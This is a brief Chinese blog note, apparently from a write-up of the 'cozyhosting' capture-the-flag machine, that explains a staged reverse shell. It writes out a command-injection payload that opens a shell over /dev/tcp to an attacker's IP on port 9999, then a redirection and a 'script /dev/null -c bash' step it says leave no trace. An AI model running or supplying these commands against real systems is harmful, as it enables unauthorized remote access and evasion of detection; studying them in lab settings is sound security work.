分段反向shell
然后还学习到一个新姿势,查了一些资料。首先使用如下命令来创建一个与攻击者的tcp连接,并将标准输入(0)重定向到这个连接,sh是一个子shell的标记,用来在括号内执行命令。
;`(sh)0>/dev/tcp/ip/9999`
之后执行如下将标准输出(1)和标准错误(2)都重定向到标准输入(0),exec会替代当前shell进程,不会创建一个新进程。
exec >&0
最后再使用下面的启动一个新的交互式bash,将输出记录到/dev/null中就会被抛弃。这样执行的命令不会在目标上留下任何痕迹了。
script /dev/null -c bash
标签:shell,exec,知识,tcp,学习,dev,cozyhosting,null,bash From: https://www.cnblogs.com/khxzz/p/17741626.html